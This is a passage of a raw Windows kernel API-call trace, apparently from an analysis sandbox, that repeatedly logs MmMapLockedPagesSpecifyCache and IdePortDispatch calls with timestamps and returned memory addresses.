Priority=0xfffff80000000000) returned 0xfffff88002cd8000 [0111.142] IdePortDispatch () returned 0x103 [0111.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdb000 [0111.142] IdePortDispatch () returned 0x103 [0111.143] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cde000 [0111.143] IdePortDispatch () returned 0x103 [0111.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce6000 [0111.144] IdePortDispatch () returned 0x103 [0111.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce9000 [0111.144] IdePortDispatch () returned 0x103 [0111.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d30000 [0111.158] IdePortDispatch () returned 0x103 [0111.160] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7e000 [0111.160] IdePortDispatch () returned 0x103 [0111.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003428000 [0111.162] IdePortDispatch () returned 0x103 [0111.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0111.167] IdePortDispatch () returned 0x103 [0111.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f3000 [0111.168] IdePortDispatch () returned 0x103 [0111.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003501000 [0111.169] IdePortDispatch () returned 0x103 [0111.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354c000 [0111.170] IdePortDispatch () returned 0x103 [0111.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354f000 [0111.171] IdePortDispatch () returned 0x103 [0111.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003552000 [0111.171] IdePortDispatch () returned 0x103 [0111.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003555000 [0111.172] IdePortDispatch () returned 0x103 [0111.174] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356d000 [0111.174] IdePortDispatch () returned 0x103 [0111.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b3000 [0111.177] IdePortDispatch () returned 0x103 [0111.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b6000 [0111.178] IdePortDispatch () returned 0x103 [0111.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b9000 [0111.178] IdePortDispatch () returned 0x103 [0111.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c4000 [0111.180] IdePortDispatch () returned 0x103 [0111.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c7000 [0111.180] IdePortDispatch () returned 0x103 [0111.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ca000 [0111.181] IdePortDispatch () returned 0x103 [0111.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cd000 [0111.181] IdePortDispatch () returned 0x103 [0111.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d0000 [0111.182] IdePortDispatch () returned 0x103 [0111.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d3000 [0111.182] IdePortDispatch () returned 0x103 [0111.227] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049a8000 [0111.227] IdePortDispatch () returned 0x103 [0111.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049ab000 [0111.228] IdePortDispatch () returned 0x103 [0111.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049ad000 [0111.228] IdePortDispatch () returned 0x103 [0111.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049b0000 [0111.228] IdePortDispatch () returned 0x103 [0111.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049b2000 [0111.229] IdePortDispatch () returned 0x103 [0111.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049b4000 [0111.229] IdePortDispatch () returned 0x103 [0111.233] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049b7000 [0111.233] IdePortDispatch () returned 0x103 [0111.233] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049bb000 [0111.233] IdePortDispatch () returned 0x103 [0111.237] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049e3000 [0111.237] IdePortDispatch () returned 0x103 [0111.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880049e6000 [0111.238] IdePortDispatch () returned 0x103 [0111.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8e000 [0111.242] IdePortDispatch () returned 0x103 [0111.247] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c44000 [0111.247] IdePortDispatch () returned 0x103 [0111.248] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c47000 [0111.248] IdePortDispatch () returned 0x103 [0111.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c57000 [0111.249] IdePortDispatch () returned 0x103 [0111.274] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3b000 [0111.274] IdePortDispatch () returned 0x103 [0111.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d40000 [0111.275] IdePortDispatch () returned 0x103 [0111.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003428000 [0111.279] IdePortDispatch () returned 0x103 [0111.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342c000 [0111.280] IdePortDispatch () returned 0x103 [0111.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0111.283] IdePortDispatch () returned 0x103 [0111.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003443000 [0111.284] IdePortDispatch () returned 0x103 [0111.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003445000 [0111.284] IdePortDispatch () returned 0x103 [0111.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003449000 [0111.287] IdePortDispatch () returned 0x103 [0111.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344c000 [0111.287] IdePortDispatch () returned 0x103 [0111.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0111.287] IdePortDispatch () returned 0x103 [0111.289] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003469000 [0111.289] IdePortDispatch () returned 0x103 [0111.289] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346b000 [0111.289] IdePortDispatch () returned 0x103 [0111.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346e000 [0111.292] IdePortDispatch () returned 0x103 [0111.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0111.315] IdePortDispatch () returned 0x103 [0111.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ce000 [0111.315] IdePortDispatch () returned 0x103 [0111.316] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d2000 [0111.316] IdePortDispatch () returned 0x103 [0111.317] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d6000 [0111.317] IdePortDispatch () returned 0x103 [0111.317] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d8000 [0111.317] IdePortDispatch () returned 0x103 [0111.318] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034db000 [0111.318] IdePortDispatch () returned 0x103 [0111.318] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034dd000 [0111.318] IdePortDispatch () returned 0x103 [0111.319] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e1000 [0111.319] IdePortDispatch () returned 0x103 [0111.324] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e4000 [0111.324] IdePortDispatch () returned 0x103 [0111.329] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e8000 [0111.329] IdePortDispatch () returned 0x103 [0111.330] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034eb000 [0111.330] IdePortDispatch () returned 0x103 [0111.330] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ed000 [0111.330] IdePortDispatch () returned 0x103 [0111.330] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0111.330] IdePortDispatch () returned 0x103 [0111.331] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f3000 [0111.331] IdePortDispatch () returned 0x103 [0111.331] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f6000 [0111.331] IdePortDispatch () returned 0x103 [0111.332] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f9000 [0111.332] IdePortDispatch () returned 0x103 [0111.332] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fb000 [0111.332] IdePortDispatch () returned 0x103 [0111.333] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fe000 [0111.333] IdePortDispatch () returned 0x103 [0111.336] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0111.336] IdePortDispatch () returned 0x103 [0111.336] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003503000 [0111.336] IdePortDispatch () returned 0x103 [0111.341] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003506000 [0111.341] IdePortDispatch () returned 0x103 [0111.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003509000 [0111.342] IdePortDispatch () returned 0x103 [0111.343] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350b000 [0111.343] IdePortDispatch () returned 0x103 [0111.343] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350e000 [0111.343] IdePortDispatch () returned 0x103 [0111.345] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003511000 [0111.345] IdePortDispatch () returned 0x103 [0111.388] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c85000 [0111.389] IdePortDispatch () returned 0x103 [0111.390] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db7000 [0111.390] IdePortDispatch () returned 0x103 [0111.391] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dba000 [0111.391] IdePortDispatch () returned 0x103 [0111.391] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff88002dbd000 [0111.391] IdePortDispatch () returned 0x103 [0111.391] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0111.392] IdePortDispatch () returned 0x103 [0111.392] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de2000 [0111.392] IdePortDispatch () returned 0x103 [0111.392] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de6000 [0111.392] IdePortDispatch () returned 0x103 [0111.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dec000 [0111.396] IdePortDispatch () returned 0x103 [0111.397] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df1000 [0111.397] IdePortDispatch () returned 0x103 [0111.397] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df4000 [0111.397] IdePortDispatch () returned 0x103 [0111.398] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df6000 [0111.398] IdePortDispatch () returned 0x103 [0111.401] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfc000 [0111.401] IdePortDispatch () returned 0x103 [0111.407] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfe000 [0111.407] IdePortDispatch () returned 0x103 [0111.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003478000 [0111.408] IdePortDispatch () returned 0x103 [0111.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347b000 [0111.409] IdePortDispatch () returned 0x103 [0111.410] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347d000 [0111.410] IdePortDispatch () returned 0x103 [0111.422] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347f000 [0111.422] IdePortDispatch () returned 0x103 [0111.422] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003481000 [0111.422] IdePortDispatch () returned 0x103 [0111.427] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e3000 [0111.427] IdePortDispatch () returned 0x103 [0111.436] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e7000 [0111.436] IdePortDispatch () returned 0x103 [0111.436] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ea000 [0111.436] IdePortDispatch () returned 0x103 [0111.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003533000 [0111.544] IdePortDispatch () returned 0x103 [0111.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003536000 [0111.544] IdePortDispatch () returned 0x103 [0111.545] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003538000 [0111.545] IdePortDispatch () returned 0x103 [0111.545] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353b000 [0111.545] IdePortDispatch () returned 0x103 [0111.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003542000 [0111.547] IdePortDispatch () returned 0x103 [0111.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003546000 [0111.552] IdePortDispatch () returned 0x103 [0111.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003549000 [0111.553] 